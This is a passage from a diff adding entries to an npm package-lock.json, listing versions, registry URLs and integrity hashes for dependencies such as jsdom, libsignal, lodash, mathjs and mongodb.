{ + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/kirbotz-api/node_modules/jsdom": { + "version": "18.1.1", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-18.1.1.tgz", + "integrity": "sha512-NmJQbjQ/gpS/1at/ce3nCx89HbXL/f5OcenBe8wU1Eik0ROhyUc3LtmG3567dEHAGXkN8rmILW/qtCOPxPHQJw==", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.5.0", + "acorn-globals": "^6.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.1", + "decimal.js": "^10.3.1", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^3.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^10.0.0", + "ws": "^8.2.3", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/kirbotz-api/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/kirbotz-api/node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/w3c-xmlserializer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", + "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/whatwg-url": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", + "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/kirbotz-api/node_modules/xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/lazy": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/lazy/-/lazy-1.0.11.tgz", + "integrity": "sha512-Y+CjUfLmIpoUCCRl0ub4smrYtGGr5AOa2AKOaWelGHOGz33X/Y/KizefGqbkwfz44+cnq/+9habclf8vOmu2LA==", + "engines": { + "node": ">=0.2.0" + } + }, + "node_modules/levenshtein-edit-distance": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/levenshtein-edit-distance/-/levenshtein-edit-distance-2.0.5.tgz", + "integrity": "sha512-Yuraz7QnMX/JENJU1HA6UtdsbhRzoSFnGpVGVryjQgHtl2s/YmVgmNYkVs5yzVZ9aAvQR9wPBUH3lG755ylxGA==", + "bin": { + "levenshtein-edit-distance": "cli.js" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": "sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==", + "dependencies": { + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/libphonenumber-js": { + "version": "1.10.40", + "resolved": "https://registry.npmjs.org/libphonenumber-js/-/libphonenumber-js-1.10.40.tgz", + "integrity": "sha512-dWL0lV8Q+wr4XE4LxYG1Qr86kdfElCqXgGj9bm0HxOOGpvw4GEJeQxuiHyqCCXDxBctSQBfxM8HljiWf3INkMA==" + }, + "node_modules/libsignal": { + "version": "2.0.1", + "resolved": "git+ssh://git@github.com/adiwajshing/libsignal-node.git", + "integrity": "sha512-ViglXJXlOHNYU2usuSaLfS7fIDkZE0LJeOZdWNNlnIyQWiGwTnD6O4W9RfUUb9Rq+/iLOJdaCOrW6l7XSuCBng==", + "license": "GPL-3.0", + "dependencies": { + "curve25519-js": "^0.0.4", + "protobufjs": "6.8.8" + } + }, + "node_modules/libsignal/node_modules/@types/node": { + "version": "10.17.60", + "resolved": "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz", + "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==" + }, + "node_modules/libsignal/node_modules/protobufjs": { + "version": "6.8.8", + "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.8.8.tgz", + "integrity": "sha512-AAmHtD5pXgZfi7GMpllpO3q1Xw1OYldr+dMUlAnffGTAhqkg72WdmSY71uKBF/JuyiKs8psYbtKrhi0ASCD8qw==", + "hasInstallScript": true, + "dependencies": { + "@protobufjs/aspromise": "^1.1.2", + "@protobufjs/base64": "^1.1.2", + "@protobufjs/codegen": "^2.0.4", + "@protobufjs/eventemitter": "^1.1.0", + "@protobufjs/fetch": "^1.1.0", + "@protobufjs/float": "^1.0.2", + "@protobufjs/inquire": "^1.1.0", + "@protobufjs/path": "^1.1.2", + "@protobufjs/pool": "^1.1.0", + "@protobufjs/utf8": "^1.1.0", + "@types/long": "^4.0.0", + "@types/node": "^10.1.0", + "long": "^4.0.0" + }, + "bin": { + "pbjs": "bin/pbjs", + "pbts": "bin/pbts" + } + }, + "node_modules/load-bmfont": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/load-bmfont/-/load-bmfont-1.4.1.tgz", + "integrity": "sha512-8UyQoYmdRDy81Brz6aLAUhfZLwr5zV0L3taTQ4hju7m6biuwiWiJXjPhBJxbUQJA8PrkvJ/7Enqmwk2sM14soA==", + "dependencies": { + "buffer-equal": "0.0.1", + "mime": "^1.3.4", + "parse-bmfont-ascii": "^1.0.3", + "parse-bmfont-binary": "^1.0.5", + "parse-bmfont-xml": "^1.1.4", + "phin": "^2.9.1", + "xhr": "^2.0.1", + "xtend": "^4.0.0" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==" + }, + "node_modules/lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==" + }, + "node_modules/lodash.flatten": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/lodash.flatten/-/lodash.flatten-4.4.0.tgz", + "integrity": "sha512-C5N2Z3DgnnKr0LOpv/hKCgKdb7ZZwafIrsesve6lmzvZIRZRGaZ/l6Q8+2W7NaT+ZwO3fFlSCzCzrDCFdJfZ4g==" + }, + "node_modules/lodash.pad": { + "version": "4.5.1", + "resolved": "https://registry.npmjs.org/lodash.pad/-/lodash.pad-4.5.1.tgz", + "integrity": "sha512-mvUHifnLqM+03YNzeTBS1/Gr6JRFjd3rRx88FHWUvamVaT9k2O/kXha3yBSOwB9/DTQrSTLJNHvLBBt2FdX7Mg==" + }, + "node_modules/lodash.padend": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/lodash.padend/-/lodash.padend-4.6.1.tgz", + "integrity": "sha512-sOQs2aqGpbl27tmCS1QNZA09Uqp01ZzWfDUoD+xzTii0E7dSQfRKcRetFwa+uXaxaqL+TKm7CgD2JdKP7aZBSw==" + }, + "node_modules/lodash.padstart": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/lodash.padstart/-/lodash.padstart-4.6.1.tgz", + "integrity": "sha512-sW73O6S8+Tg66eY56DBk85aQzzUJDtpoXFBgELMd5P/SotAguo+1kYO6RuYgXxA4HJH3LFTFPASX6ET6bjfriw==" + }, + "node_modules/log-driver": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/log-driver/-/log-driver-1.2.7.tgz", + "integrity": "sha512-U7KCmLdqsGHBLeWqYlFA0V0Sl6P08EE1ZrmA9cxjUE0WVqT9qnyVDPz1kzpFEP0jdJuFnasWIfSd7fsaNXkpbg==", + "engines": { + "node": ">=0.8.6" + } + }, + "node_modules/log-symbols": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-3.0.0.tgz", + "integrity": "sha512-dSkNGuI7iG3mfvDzUuYZyvk5dD9ocYCYzNU6CYDE6+Xqd+gwme6Z00NS3dUh8mq/73HaEtT7m6W+yUPtU6BZnQ==", + "dependencies": { + "chalk": "^2.4.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/log-symbols/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dependencies": { + "color-name": "1.1.3" + } + }, + "node_modules/log-symbols/node_modules/color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "node_modules/log-symbols/node_modules/escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/log-symbols/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==", + "engines": { + "node": ">=4" + } + }, + "node_modules/log-symbols/node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/long": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", + "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA==" + }, + "node_modules/lowdb": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lowdb/-/lowdb-2.1.0.tgz", + "integrity": "sha512-F4Go8/V37gAidTR3c5poyjprOpZSDNSLJVOmI0ny4D4q9rC37OkBhlzX0bqj7LZlT3UIj4FchmZrrSw7qY+eGQ==", + "dependencies": { + "steno": "^1.0.0" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/lowercase-keys": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", + "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/lru-cache": { + "version": "9.1.2", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-9.1.2.tgz", + "integrity": "sha512-ERJq3FOzJTxBbFjZ7iDs+NiK4VI9Wz+RdrrAB8dio1oV+YvdPzUEE4QNiT2VD51DkIbCYRUUzCRkssXCHqSnKQ==", + "engines": { + "node": "14 || >=16.14" + } + }, + "node_modules/lru-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz", + "integrity": "sha512-BpdYkt9EvGl8OfWHDQPISVpcl5xZthb+XPsbELj5AQXxIC8IriDZIQYjBJPEm5rS420sjZ0TLEzRcq5KdBhYrQ==", + "dependencies": { + "es5-ext": "~0.10.2" + } + }, + "node_modules/m3u8stream": { + "version": "0.8.6", + "resolved": "https://registry.npmjs.org/m3u8stream/-/m3u8stream-0.8.6.tgz", + "integrity": "sha512-LZj8kIVf9KCphiHmH7sbFQTVe4tOemb202fWwvJwR9W5ENW/1hxJN6ksAWGhQgSBSa3jyWhnjKU1Fw1GaOdbyA==", + "dependencies": { + "miniget": "^4.2.2", + "sax": "^1.2.4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/make-error": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", + "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==" + }, + "node_modules/mal-scraper": { + "version": "2.13.1", + "resolved": "https://registry.npmjs.org/mal-scraper/-/mal-scraper-2.13.1.tgz", + "integrity": "sha512-yxqbP2Hr6o/S/RDCb4G2e0U5Cil2aK7JhHnjM50M5/TDu456P1n1Ey6V4rkGRev++v2SHtVxUEPojMlTzOWaMg==", + "dependencies": { + "axios": "^1.4.0", + "cheerio": "^1.0.0-rc.12", + "match-sorter": "^6.3.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mal-scraper/node_modules/axios": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-1.4.0.tgz", + "integrity": "sha512-S4XCWMEmzvo64T9GfvQDOXgYRDJ/wsSZc7Jvdgx5u1sd0JwsuPLqb3SYmusag+edF6ziyMensPVqLTSc1PiSEA==", + "dependencies": { + "follow-redirects": "^1.15.0", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/match-sorter": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/match-sorter/-/match-sorter-6.3.1.tgz", + "integrity": "sha512-mxybbo3pPNuA+ZuCUhm5bwNkXrJTbsk5VWbR5wiwz/GC6LIiegBGn2w3O08UG/jdbYLinw51fSQ5xNU1U3MgBw==", + "dependencies": { + "@babel/runtime": "^7.12.5", + "remove-accents": "0.4.2" + } + }, + "node_modules/mathjs": { + "version": "11.9.1", + "resolved": "https://registry.npmjs.org/mathjs/-/mathjs-11.9.1.tgz", + "integrity": "sha512-VdB9ELZ6Dwda13j5d1eCBETmPO8m9qIJETUdfZmTA9cPnXUiIk7UuoAmvxFqtfAe32XYuRugAec2Ndv0/RfRhg==", + "dependencies": { + "@babel/runtime": "^7.22.6", + "complex.js": "^2.1.1", + "decimal.js": "^10.4.3", + "escape-latex": "^1.2.0", + "fraction.js": "^4.2.0", + "javascript-natural-sort": "^0.7.1", + "seedrandom": "^3.0.5", + "tiny-emitter": "^2.1.0", + "typed-function": "^4.1.0" + }, + "bin": { + "mathjs": "bin/cli.js" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/md5": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/md5/-/md5-2.3.0.tgz", + "integrity": "sha512-T1GITYmFaKuO91vxyoQMFETst+O71VUPEU3ze5GNzDm0OWdP8v1ziTaAEPUr/3kLsY3Sftgz242A1SetQiDL7g==", + "dependencies": { + "charenc": "0.0.2", + "crypt": "0.0.2", + "is-buffer": "~1.1.6" + } + }, + "node_modules/media-typer": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-1.1.0.tgz", + "integrity": "sha512-aisnrDP4GNe06UcKFnV5bfMNPBUw4jsLGaWwWfnH3v02GnBuXX2MCVn5RbrWo0j3pczUilYblq7fQ7Nw2t5XKw==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/memoizee": { + "version": "0.4.15", + "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz", + "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==", + "dependencies": { + "d": "^1.0.1", + "es5-ext": "^0.10.53", + "es6-weak-map": "^2.0.3", + "event-emitter": "^0.3.5", + "is-promise": "^2.2.2", + "lru-queue": "^0.1.0", + "next-tick": "^1.1.0", + "timers-ext": "^0.1.7" + } + }, + "node_modules/memory-pager": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz", + "integrity": "sha512-ZS4Bp4r/Zoeq6+NLJpP+0Zzm0pR8whtGPf1XExKLJBAczGMnSi3It14OiNCStjQjM6NU1okjQGSxgEZN8eBYKg==", + "optional": true + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "engines": { + "node": ">=6" + } + }, + "node_modules/mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/min-document": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", + "integrity": "sha512-9Wy1B3m3f66bPPmU5hdA4DR4PB2OfDU/+GS3yAB7IQozE3tqXaVv2zOjgla7MEGSRv95+ILmOuvhLkOK6wJtCQ==", + "dependencies": { + "dom-walk": "^0.1.0" + } + }, + "node_modules/miniget": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/miniget/-/miniget-4.2.3.tgz", + "integrity": "sha512-SjbDPDICJ1zT+ZvQwK0hUcRY4wxlhhNpHL9nJOB2MEAXRGagTljsO8MEDzQMTFf0Q8g4QNi8P9lEm/g7e+qgzA==", + "engines": { + "node": ">=12" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mkdirp": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-2.1.3.tgz", + "integrity": "sha512-sjAkg21peAG9HS+Dkx7hlG9Ztx7HLeKnvB3NQRcu/mltCVmvkF0pisbiTSfDVYTT86XEfZrTUosLdZLStquZUw==", + "bin": { + "mkdirp": "dist/cjs/src/bin.js" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/module-details-from-path": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/module-details-from-path/-/module-details-from-path-1.0.3.tgz", + "integrity": "sha512-ySViT69/76t8VhE1xXHK6Ch4NcDd26gx0MzKXLO+F7NOtnqH68d9zF94nT8ZWSxXh8ELOERsnJO/sWt1xZYw5A==" + }, + "node_modules/moment": { + "version": "2.29.4", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.29.4.tgz", + "integrity": "sha512-5LC9SOxjSc2HF6vO2CyuTDNivEdoz2IvyJJGj6X8DJ0eFyfszE0QiEd+iXmBvUP3WHxSjFH/vIsA0EN00cgr8w==", + "engines": { + "node": "*" + } + }, + "node_modules/moment-timezone": { + "version": "0.5.43", + "resolved": "https://registry.npmjs.org/moment-timezone/-/moment-timezone-0.5.43.tgz", + "integrity": "sha512-72j3aNyuIsDxdF1i7CEgV2FfxM1r6aaqJyLB2vwb33mXYyoyLly+F1zbWqhA3/bVIoJ4szlUoMbUnVdid32NUQ==", + "dependencies": { + "moment": "^2.29.4" + }, + "engines": { + "node": "*" + } + }, + "node_modules/mongodb": { + "version": "4.17.1", + "resolved": "https://registry.npmjs.org/mongodb/-/mongodb-4.17.1.tgz", + "integrity": "sha512-MBuyYiPUPRTqfH2dV0ya4dcr2E5N52ocBuZ8Sgg/M030nGF78v855B3Z27mZJnp8PxjnUquEnAtjOsphgMZOlQ==", + "dependencies": { + "bson": "^4.7.2", + "mongodb-connection-string-url": "^2.6.0", + "socks": "^2.7.1" + }, + "engines": { + "node": ">=12.9.0" + }, + "optionalDependencies": { + "@aws-sdk/credential-providers": "^3.186.0", + "@mongodb-js/saslprep": "^1.1.0" + } + }, + "node_modules/mongodb-connection-string-url": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/mongodb-connection-string-url/-/mongodb-connection-string-url-2.6.0.tgz", + "integrity": "sha512-WvTZlI9ab0QYtTYnuMLgobULWhokRjtC7db9LtcVfJ+Hsnyr5eo6ZtNAt3Ly24XZScGMelOcGtm7lSn0332tPQ==", + "dependencies": { + "@types/whatwg-url": "^8.2.1", + "whatwg-url": "^11.0.0" + } + }, + "node_modules/mongodb-connection-string-url/node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/mongodb-connection-string-url/node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "engines": { + "node": ">=12" + } + }, + "node_modules/mongodb-connection-string-url/node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/mongoose": { + "version": "6.12.0", + "resolved": "https://registry.npmjs.org/mongoose/-/mongoose-6.12.0.tgz", + "integrity": 